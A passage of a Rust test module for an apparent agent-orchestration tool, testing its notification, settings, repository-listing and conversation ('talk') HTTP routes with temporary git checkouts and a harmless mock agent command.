12496            })
12497            .unwrap();
12498        let listed = fx.get("/api/notifications").await.json();
12499        assert!(listed["items"][0]["answerable_question"].is_null());
12500        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12501        assert!(
12502            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12503                .unwrap()
12504                .contains("answerable_question")
12505        );
12506    }
12507
12508    #[tokio::test]
12509    async fn notifications_list_read_dismiss_and_health_agree() {
12510        let fx = Fixture::start().await;
12511        let store = Notices::at(fx.home.path().join("notifications"));
12512        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12513        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12514
12515        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12516        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12517
12518        store
12519            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12520            .unwrap();
12521        let health = fx.get("/api/health").await.json();
12522        assert_eq!(health["notifications_unread"], 2);
12523        assert_ne!(
12524            health["notifications_rev"], rev0,
12525            "the badge must move live"
12526        );
12527
12528        let listed = fx.get("/api/notifications").await.json();
12529        assert_eq!(listed["unread"], 2);
12530        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12531        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12532
12533        let read = fx
12534            .post(&format!("/api/notifications/{}/read", a.id), None)
12535            .await;
12536        assert_eq!(read.status, 200, "{}", read.body);
12537        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12538
12539        let gone = fx
12540            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12541            .await;
12542        assert_eq!(gone.status, 200, "{}", gone.body);
12543        let listed = fx.get("/api/notifications").await.json();
12544        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12545        assert_eq!(listed["unread"], 0);
12546
12547        store.raise(Notice::info("x", "again")).unwrap();
12548        let all = fx.post("/api/notifications/read-all", None).await;
12549        assert_eq!(all.status, 200, "{}", all.body);
12550        assert_eq!(all.json()["marked"], 1);
12551        assert_eq!(
12552            fx.get("/api/health").await.json()["notifications_unread"],
12553            0
12554        );
12555
12556        let missing = fx.post("/api/notifications/nope/read", None).await;
12557        assert_eq!(missing.status, 404, "{}", missing.body);
12558        assert!(missing.json()["error"].is_string());
12559    }
12560
12561    /// New work reaches the queue through `magi task add`, a standing talk's
12562    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
12563    /// so the compose form and that route are gone. The tests that covered
12564    /// that route's validation went with it, and nothing was left asserting
12565    /// it stays gone — so a re-added handler would silently let the phone
12566    /// file briefs no one validated.
12567    #[tokio::test]
12568    async fn a_task_cannot_be_filed_over_the_phone_directly() {
12569        let f = Fixture::start().await;
12570
12571        let res = f
12572            .post(
12573                "/api/queue",
12574                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12575            )
12576            .await;
12577
12578        assert_eq!(
12579            res.status, 405,
12580            "POST /api/queue must not be a route: {}",
12581            res.body
12582        );
12583        assert!(
12584            f.queue().list().is_empty(),
12585            "a task filed by a route that does not exist must not reach the disk"
12586        );
12587        // The path itself is still served — the Queue view reads it — and the
12588        // per-task controls are untouched by the entry being removed.
12589        assert_eq!(f.get("/api/queue").await.status, 200);
12590    }
12591
12592    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
12593    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12594        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12595            .expect("checkout dir");
12596    }
12597
12598    /// Two command agents, so a config needs no real CLI.
12599    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
12600
12601    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
12602        let tmp = TempDir::new().expect("tempdir");
12603        let repo = tmp.path().join("repo");
12604        std::fs::create_dir_all(&repo).expect("repo dir");
12605        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
12606        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
12607        if let Some(text) = machine_toml {
12608            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
12609            std::fs::write(&machine, text).expect("machine toml");
12610        }
12611        (tmp, repo, machine)
12612    }
12613
12614    async fn settings_checkout(path: &FsPath, text: &str) {
12615        std::fs::create_dir_all(path).unwrap();
12616        std::fs::write(path.join("magi.toml"), text).unwrap();
12617        for args in [
12618            vec!["init", "-b", "main"],
12619            vec!["add", "magi.toml"],
12620            vec![
12621                "-c",
12622                "user.name=Test",
12623                "-c",
12624                "user.email=test@example.invalid",
12625                "commit",
12626                "-m",
12627                "fixture",
12628            ],
12629            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
12630            vec![
12631                "symbolic-ref",
12632                "refs/remotes/origin/HEAD",
12633                "refs/remotes/origin/main",
12634            ],
12635        ] {
12636            crate::git::git(path, &args).await.unwrap();
12637        }
12638    }
12639
12640    #[tokio::test]
12641    async fn settings_context_handlers_validate_and_save_without_a_socket() {
12642        let (tmp, repo, machine) =
12643            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
12644        let root = tmp.path().join("roots");
12645        let selected = root.join("host/owner/selected");
12646        settings_checkout(
12647            &selected,
12648            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
12649        )
12650        .await;
12651        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
12652        let before = std::fs::read(&machine).unwrap();
12653        let ui = Arc::new(
12654            Ui::new(
12655                Queue::at(tmp.path().join("queue")),
12656                Questions::at(tmp.path().join("questions")),
12657                Talks::at(tmp.path().join("talks")),
12658                tmp.path().join("runs"),
12659                tmp.path().to_path_buf(),
12660                repo.clone(),
12661            )
12662            .with_machine_config(Some(machine.clone())),
12663        );
12664        let query = || {
12665            Query(SettingsQuery {
12666                repo: Some(selected.clone()),
12667            })
12668        };
12669        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
12670        assert!(v.error.is_none(), "{:?}", v.error);
12671        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
12672        assert_eq!(conductor.source, "repo");
12673        assert_eq!(
12674            conductor.machine_value,
12675            Some(toml::Value::String("a".into()))
12676        );
12677        assert!(!conductor.editable);
12678        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
12679        assert_eq!(
12680            judges.count.as_ref().unwrap().machine_value,
12681            Some(toml::Value::Integer(1))
12682        );
12683        assert!(
12684            !v.roles
12685                .iter()
12686                .find(|r| r.key == "reviewers")
12687                .unwrap()
12688                .editable
12689        );
12690        let unknown = || {
12691            Query(SettingsQuery {
12692                repo: Some(tmp.path().to_path_buf()),
12693            })
12694        };
12695        assert_eq!(
12696            settings_get(State(ui.clone()), unknown())
12697                .await
12698                .unwrap_err()
12699                .status,
12700            StatusCode::UNPROCESSABLE_ENTITY
12701        );
12702        let body = || {
12703            Ok(Json(RolesBody {
12704                revision: v.revision.clone(),
12705                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
12706                counts: Default::default(),
12707            }))
12708        };
12709        assert_eq!(
12710            settings_put_roles(State(ui.clone()), unknown(), body())
12711                .await
12712                .unwrap_err()
12713                .status,
12714            StatusCode::UNPROCESSABLE_ENTITY
12715        );
12716        assert_eq!(std::fs::read(&machine).unwrap(), before);
12717        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
12718            .await
12719            .unwrap();
12720        assert_eq!(
12721            saved.repo,
12722            selected.canonicalize().unwrap().display().to_string()
12723        );
12724        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12725        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12726        // A cache miss refreshes the stable candidate list exactly for validation.
12727        let fresh = root.join("host/owner/fresh");
12728        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
12729        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
12730            .await
12731            .unwrap();
12732        assert_eq!(fresh_view.repositories.len(), 3);
12733    }
12734
12735    #[tokio::test]
12736    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
12737        let (tmp, repo, machine) = settings_dirs(
12738            "[roles]\nreviewers = [\"a\"]\n",
12739            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
12740        );
12741        let root = tmp.path().join("roots");
12742        let selected = root.join("host/owner/selected");
12743        settings_checkout(
12744            &selected,
12745            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
12746        )
12747        .await;
12748        let broken = root.join("host/owner/broken");
12749        settings_checkout(&broken, "[roles\nbroken").await;
12750        let machine_text = format!(
12751            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
12752            toml::Value::String(root.display().to_string())
12753        );
12754        std::fs::write(&machine, &machine_text).unwrap();
12755        let originals: Vec<_> = [&repo, &selected, &broken]
12756            .iter()
12757            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
12758            .collect();
12759        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12760        let default = f.get("/api/settings").await.json();
12761        assert_eq!(
12762            default["repo"],
12763            repo.canonicalize().unwrap().display().to_string()
12764        );
12765        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
12766        let query = format!("?repo={}", selected.display());
12767        let res = f.get(&format!("/api/settings{query}")).await;
12768        assert_eq!(res.status, 200, "{}", res.body);
12769        let v = res.json();
12770        assert!(v["error"].is_null(), "{v}");
12771        assert_eq!(v["repositories"], default["repositories"]);
12772        let role = |key: &str| {
12773            v["roles"]
12774                .as_array()
12775                .unwrap()
12776                .iter()
12777                .find(|r| r["key"] == key)
12778                .unwrap()
12779        };
12780        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
12781        assert_eq!(role("advisors")["source"], "repo");
12782        assert_eq!(role("advisors")["editable"], false);
12783        assert!(role("advisors")["machine_value"].is_null());
12784        assert_eq!(role("judges")["count"]["value"], 2);
12785        assert_eq!(role("judges")["count"]["machine_value"], 1);
12786        assert_eq!(role("judges")["count"]["source"], "repo");
12787        let source = role("judges")["count"]["source_path"].as_str().unwrap();
12788        assert!(
12789            source.contains("origin/main") && !source.contains("magi/config/"),
12790            "{source}"
12791        );
12792        assert_eq!(
12793            role("reviewers")["editable"],
12794            false,
12795            "default context outside roots must protect its declarations"
12796        );
12797        let body =
12798            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
12799        let unknown = format!("?repo={}", tmp.path().display());
12800        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
12801        assert_eq!(
12802            f.put(&format!("/api/settings/roles{unknown}"), &body)
12803                .await
12804                .status,
12805            422
12806        );
12807        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
12808        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
12809            .to_string();
12810        assert_eq!(
12811            f.put(&format!("/api/settings/roles{query}"), &refuse)
12812                .await
12813                .status,
12814            422
12815        );
12816        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
12817        assert_eq!(saved.status, 200, "{}", saved.body);
12818        assert_eq!(saved.json()["repo"], v["repo"]);
12819        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12820        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12821        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
12822            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
12823        }
12824        let error = f
12825            .get(&format!("/api/settings?repo={}", broken.display()))
12826            .await;
12827        assert_eq!(error.status, 200);
12828        assert!(error.json()["error"]["message"].is_string());
12829        assert_eq!(error.json()["repositories"], default["repositories"]);
12830    }
12831
12832    #[tokio::test]
12833    async fn settings_get_reports_sources_and_the_advisors_fallback() {
12834        let (_tmp, repo, machine) =
12835            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
12836        let f = Fixture::with_repo_and_machine(repo, machine).await;
12837        let res = f.get("/api/settings").await;
12838        assert_eq!(res.status, 200, "{}", res.body);
12839        let v = res.json();
12840        assert!(v["error"].is_null(), "{v}");
12841        let role = |k: &str| {
12842            v["roles"]
12843                .as_array()
12844                .and_then(|r| r.iter().find(|x| x["key"] == k))
12845                .cloned()
12846                .unwrap_or_else(|| panic!("no role {k}: {v}"))
12847        };
12848        assert_eq!(role("judges")["source"], "machine");
12849        assert_eq!(role("judges")["editable"], true);
12850        assert_eq!(role("implementers")["source"], "default");
12851        let adv = role("advisors");
12852        assert_eq!(adv["fallback"], "judges");
12853        assert!(
12854            adv["seats"]
12855                .as_array()
12856                .is_some_and(|s| s.iter().all(|x| x == "b")),
12857            "{adv}"
12858        );
12859        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
12860        assert_eq!(v["agents"][0]["source"], "repo");
12861    }
12862
12863    #[tokio::test]
12864    async fn settings_get_reports_a_config_that_does_not_parse() {
12865        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
12866        let f = Fixture::with_repo_and_machine(repo, machine).await;
12867        let res = f.get("/api/settings").await;
12868        assert_eq!(res.status, 200, "{}", res.body);
12869        let v = res.json();
12870        assert!(v["error"]["message"].is_string(), "{v}");
12871        assert!(
12872            v["error"]["path"]
12873                .as_str()
12874                .is_some_and(|p| p.ends_with("magi.toml")),
12875            "{v}"
12876        );
12877        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
12878    }
12879
12880    #[tokio::test]
12881    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
12882        let (_tmp, repo, machine) = settings_dirs(
12883            SETTINGS_AGENTS,
12884            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
12885        );
12886        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
12887        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12888        let rev = f.get("/api/settings").await.json()["revision"]
12889            .as_str()
12890            .expect("revision")
12891            .to_owned();
12892        let body = serde_json::json!({
12893            "revision": rev,
12894            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
12895        })
12896        .to_string();
12897        let res = f.put("/api/settings/roles", &body).await;
12898        assert_eq!(res.status, 200, "{}", res.body);
12899        let text = std::fs::read_to_string(&machine).expect("machine");
12900        assert_eq!(
12901            text,
12902            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
12903        );
12904        assert_eq!(
12905            std::fs::read(repo.join("magi.toml")).expect("read"),
12906            repo_before
12907        );
12908        let again = f.get("/api/settings").await.json();
12909        let judges = again["roles"]
12910            .as_array()
12911            .expect("roles")
12912            .iter()
12913            .find(|r| r["key"] == "judges")
12914            .expect("judges")
12915            .clone();
12916        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
12917        // The old revision is now stale.
12918        let stale = f.put("/api/settings/roles", &body).await;
12919        assert_eq!(stale.status, 409, "{}", stale.body);
12920    }
12921
12922    #[tokio::test]
12923    async fn settings_counts_are_reported_and_saved() {
12924        let (_tmp, repo, machine) = settings_dirs(
12925            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
12926            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
12927        );
12928        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12929        let v = f.get("/api/settings").await.json();
12930        let count = |v: &serde_json::Value, k: &str| {
12931            v["roles"]
12932                .as_array()
12933                .and_then(|r| r.iter().find(|x| x["key"] == k))
12934                .map(|x| x["count"].clone())
12935                .unwrap_or_else(|| panic!("no role {k}: {v}"))
12936        };
12937        let imp = count(&v, "implementers");
12938        assert_eq!(imp["value"], 2);
12939        assert_eq!(imp["source"], "machine");
12940        assert_eq!(imp["file_key"], "candidates");
12941        assert_eq!(imp["roster_len"], 2);
12942        assert_eq!(imp["backups"], 0);
12943        assert_eq!(count(&v, "judges")["source"], "default");
12944        assert_eq!(count(&v, "advisors")["min"], 0);
12945        assert_eq!(count(&v, "reviewers")["editable"], false);
12946        assert!(
12947            count(&v, "reviewers")["locked_reason"]
12948                .as_str()
12949                .is_some_and(|m| m.contains("graph.reviewers"))
12950        );
12951        assert!(count(&v, "fixer").is_null());
12952        let rev = v["revision"].as_str().expect("revision").to_owned();
12953        let body = serde_json::json!({
12954            "revision": rev,
12955            "roles": { "judges": ["b"] },
12956            "counts": { "implementers": 1, "advisors": 0 }
12957        })
12958        .to_string();
12959        let res = f.put("/api/settings/roles", &body).await;
12960        assert_eq!(res.status, 200, "{}", res.body);
12961        let text = std::fs::read_to_string(&machine).expect("machine");
12962        assert_eq!(
12963            text,
12964            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
12965        );
12966        let after = f.get("/api/settings").await.json();
12967        assert_eq!(count(&after, "implementers")["value"], 1);
12968        assert_eq!(count(&after, "implementers")["backups"], 1);
12969        assert_eq!(count(&after, "advisors")["value"], 0);
12970        let before = std::fs::read_to_string(&machine).expect("machine");
12971        let rev = after["revision"].as_str().expect("revision").to_owned();
12972        for counts in [
12973            serde_json::json!({ "judges": 0 }),
12974            serde_json::json!({ "judges": "x" }),
12975            serde_json::json!({ "judges": 2.5 }),
12976            serde_json::json!({ "judges": -1 }),
12977            serde_json::json!({ "reviewers": 3 }),
12978            serde_json::json!({ "bogus": 3 }),
12979        ] {
12980            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
12981            let res = f.put("/api/settings/roles", &body).await;
12982            assert_eq!(res.status, 422, "{counts}: {}", res.body);
12983            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
12984        }
12985    }
12986
12987    #[tokio::test]
12988    async fn settings_put_refuses_without_touching_the_file() {
12989        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
12990        let (_tmp, repo, machine) = settings_dirs(
12991            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
12992            Some(machine_text),
12993        );
12994        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12995        let rev = f.get("/api/settings").await.json()["revision"]
12996            .as_str()
12997            .expect("revision")
12998            .to_owned();
12999        for roles in [
13000            serde_json::json!({ "judges": ["nope"] }),
13001            serde_json::json!({ "reviewers": ["b"] }),
13002            serde_json::json!({ "bogus": ["a"] }),
13003        ] {
13004            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13005            let res = f.put("/api/settings/roles", &body).await;
13006            assert_eq!(res.status, 422, "{roles}: {}", res.body);
13007            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13008            assert_eq!(
13009                std::fs::read_to_string(&machine).expect("machine"),
13010                machine_text
13011            );
13012        }
13013    }
13014
13015    #[tokio::test]
13016    async fn repos_list_returns_name_and_path_for_every_configured_root() {
13017        let tmp = TempDir::new().expect("tempdir");
13018        let repo = tmp.path().join("repo");
13019        std::fs::create_dir_all(&repo).expect("repo dir");
13020        let root = tmp.path().join("root");
13021        make_checkout(&root, "github.com", "yukimemi", "magi");
13022        std::fs::write(
13023            repo.join("magi.toml"),
13024            format!(
13025                "[repos]\nroots = [{:?}]\n",
13026                root.to_string_lossy().into_owned()
13027            ),
13028        )
13029        .expect("write magi.toml");
13030
13031        let f = Fixture::with_repo(repo).await;
13032        let res = f.get("/api/repos").await;
13033        assert_eq!(res.status, 200, "{}", res.body);
13034        let list = res.json();
13035        let repos = list.as_array().expect("an array");
13036        assert_eq!(repos.len(), 1);
13037        assert_eq!(repos[0]["name"], "yukimemi/magi");
13038        assert!(
13039            repos[0]["path"]
13040                .as_str()
13041                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13042            "{list}"
13043        );
13044    }
13045
13046    #[tokio::test]
13047    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13048        let tmp = TempDir::new().expect("tempdir");
13049        let repo = tmp.path().join("repo");
13050        std::fs::create_dir_all(&repo).expect("repo dir");
13051        let root = tmp.path().join("root");
13052        make_checkout(&root, "github.com", "yukimemi", "magi");
13053        std::fs::write(
13054            repo.join("magi.toml"),
13055            format!(
13056                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13057                root.to_string_lossy().into_owned()
13058            ),
13059        )
13060        .expect("write magi.toml");
13061
13062        let f = Fixture::with_repo(repo).await;
13063        let first = f.get("/api/repos").await;
13064        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13065
13066        // A second checkout appears; within the TTL the cached answer must
13067        // not notice it.
13068        make_checkout(&root, "github.com", "yukimemi", "rvpm");
13069        let second = f.get("/api/repos").await;
13070        assert_eq!(
13071            second.json().as_array().map(Vec::len),
13072            Some(1),
13073            "a fresh cache must not rescan inside the TTL"
13074        );
13075
13076        let refreshed = f.get("/api/repos?refresh=1").await;
13077        assert_eq!(
13078            refreshed.json().as_array().map(Vec::len),
13079            Some(2),
13080            "an explicit refresh must rescan even inside the TTL"
13081        );
13082    }
13083
13084    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
13085    /// string, declared straight in a repository's own `magi.toml` rather
13086    /// than the operator's real roster. No real agent CLI is spawned - `sh`
13087    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
13088    /// this is safe to run over a real HTTP round trip.
13089    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13090
13091    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
13092    /// real `Config::discover` to find an agent - `talk::begin` resolves one
13093    /// even though it takes no turn, and `talk_say` invokes one.
13094    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13095        let tmp = TempDir::new().expect("tempdir");
13096        let repo = tmp.path().join("repo");
13097        std::fs::create_dir_all(&repo).expect("repo dir");
13098        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13099        let f = Fixture::with_repo(repo.clone()).await;
13100        (tmp, repo, f)
13101    }
13102
13103    #[tokio::test]
13104    async fn posting_a_talk_with_remembered_choices_is_soft() {
13105        let (_tmp, _repo, f) = talk_fixture().await;
13106
13107        let good = f
13108            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13109            .await;
13110        assert_eq!(good.status, 201, "{}", good.body);
13111        assert_eq!(good.json()["persona"], "rei");
13112
13113        // Wrong values and wrong types are dropped one by one, never a 4xx.
13114        let stale = f
13115            .post(
13116                "/api/talks",
13117                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13118            )
13119            .await;
13120        assert_eq!(stale.status, 201, "{}", stale.body);
13121        let v = stale.json();
13122        assert_eq!(v["implementers"], 1);
13123        assert_ne!(v["persona"], "nobody");
13124        let typed = f
13125            .post(
13126                "/api/talks",
13127                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13128            )
13129            .await;
13130        assert_eq!(typed.status, 201, "{}", typed.body);
13131
13132        // The strict `agent` field still refuses an unknown id.
13133        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13134        assert!(
13135            !strict.status.to_string().starts_with('2'),
13136            "{}",
13137            strict.body
13138        );
13139    }
13140
13141    #[tokio::test]
13142    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13143        let (_tmp, _repo, f) = talk_fixture().await;
13144
13145        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
13146        // is the ordinary way a phone opens a talk.
13147        let opened = f.post("/api/talks", None).await;
13148        assert_eq!(opened.status, 201, "{}", opened.body);
13149        let body = opened.json();
13150        assert_eq!(body["status"], "open");
13151        assert_eq!(
13152            body["turns"].as_array().unwrap().len(),
13153            0,
13154            "opening takes no agent turn: there is nothing yet to answer"
13155        );
13156
13157        // An explicit empty object is the same request as none at all.
13158        let also_opened = f.post("/api/talks", Some("{}")).await;
13159        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13160
13161        let listed = f.get("/api/talks").await.json();
13162        assert_eq!(listed.as_array().unwrap().len(), 2);
13163    }
13164
13165    #[tokio::test]
13166    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13167        let tmp = TempDir::new().expect("tempdir");
13168        let repo = tmp.path().join("repo");
13169        std::fs::create_dir_all(&repo).expect("repo dir");
13170        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13171        std::fs::write(
13172            repo.join("magi.toml"),
13173            format!("{MOCK_AGENT_TOML}\n{second}"),
13174        )
13175        .expect("write magi.toml");
13176        let home = TempDir::new().expect("temp home");
13177        let talks = Talks::at(home.path().join("talks"));
13178        let ui = Arc::new(
13179            Ui::new(
13180                Queue::at(home.path().join("queue")),
13181                Questions::at(home.path().join("questions")),
13182                talks.clone(),
13183                home.path().join("runs"),
13184                home.path().to_path_buf(),
13185                repo.clone(),
13186            )
13187            .with_worktrees_root(home.path().join("wt")),
13188        );
13189        let cfg = config_for(&repo).await.expect("discover config");
13190        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13191        let id = talk.id.clone();
13192        let call = |agent: &str| {
13193            talk_agent(
13194                State(Arc::clone(&ui)),
13195                Path(id.clone()),
13196                Json(TalkAgent {
13197                    agent: agent.to_owned(),
13198                }),
13199            )
13200        };
13201
13202        let unknown = call("nobody").await.expect_err("unknown agent");
13203        assert_eq!(
13204            unknown.status,
13205            StatusCode::BAD_REQUEST,
13206            "{}",
13207            unknown.message
13208        );
13209
13210        {
13211            // Nothing refused so far took a claim, so the guard is free to take
13212            // and holding it is what makes the talk busy.
13213            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13214            let busy = call("second").await.expect_err("busy talk");
13215            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13216            assert!(
13217                busy.message.contains("a talk turn is running"),
13218                "{}",
13219                busy.message
13220            );
13221            drop(guard);
13222        }
13223        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13224
13225        let Json(view) = call("second").await.expect("switch");
13226        assert_eq!(view.talk.agent, "second");
13227        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13228        let saved = talks.get(&id).expect("reload");
13229        assert_eq!(saved.agent, "second");
13230        assert_eq!(saved.turns.len(), 1);
13231        assert!(!view.thinking);
13232        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13233        for agent in ["mock", "second"] {
13234            let Json(view) = call(agent).await.expect("immediate consecutive change");
13235            assert_eq!(view.talk.agent, agent);
13236            assert!(!view.thinking);
13237            assert!(!ui.is_thinking(&id));
13238        }
13239
13240        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13241            .await
13242            .expect("detail");
13243        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13244        assert_eq!(roster, ["mock", "second"]);
13245
13246        let mut closed = talks.get(&id).expect("reload");
13247        talk::close(&mut closed, &talks).expect("close");
13248        let refused = call("mock").await.expect_err("closed talk");
13249        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13250        assert!(
13251            refused.message.contains("takes no more turns"),
13252            "{}",
13253            refused.message
13254        );
13255    }
13256
13257    #[tokio::test]
13258    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13259        let tmp = TempDir::new().expect("tempdir");
13260        let repo = tmp.path().join("repo");
13261        std::fs::create_dir_all(&repo).expect("repo dir");
13262        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13263        let home = TempDir::new().expect("temp home");
13264        let talks = Talks::at(home.path().join("talks"));
13265        let ui = Arc::new(
13266            Ui::new(
13267                Queue::at(home.path().join("queue")),
13268                Questions::at(home.path().join("questions")),
13269                talks.clone(),
13270                home.path().join("runs"),
13271                home.path().to_path_buf(),
13272                repo.clone(),
13273            )
13274            .with_worktrees_root(home.path().join("wt")),
13275        );
13276        let cfg = config_for(&repo).await.expect("discover config");
13277        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13278        let id = talk.id.clone();
13279        let call = |n: u8| {
13280            talk_implementers(
13281                State(Arc::clone(&ui)),
13282                Path(id.clone()),
13283                Json(TalkImplementers { implementers: n }),
13284            )
13285        };
13286
13287        for bad in [0u8, 4] {
13288            let e = call(bad).await.expect_err("out of range");
13289            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13290        }
13291        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13292
13293        {
13294            // Nothing refused so far took a claim, so the guard is free to take
13295            // and holding it is what makes the talk busy.
13296            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13297            let busy = call(2).await.expect_err("busy talk");
13298            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13299            assert!(
13300                busy.message.contains("a talk turn is running"),
13301                "{}",
13302                busy.message
13303            );
13304            drop(guard);
13305        }
13306
13307        let Json(view) = call(3).await.expect("switch");
13308        assert_eq!(view.talk.implementers, 3);
13309        assert!(talks.get(&id).expect("reload").implementers_dirty);
13310        assert!(!view.thinking);
13311        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13312        for n in [1, 2, 3] {
13313            let Json(view) = call(n).await.expect("immediate consecutive change");
13314            assert_eq!(view.talk.implementers, n);
13315            assert!(!view.thinking);
13316            assert!(!ui.is_thinking(&id));
13317        }
13318
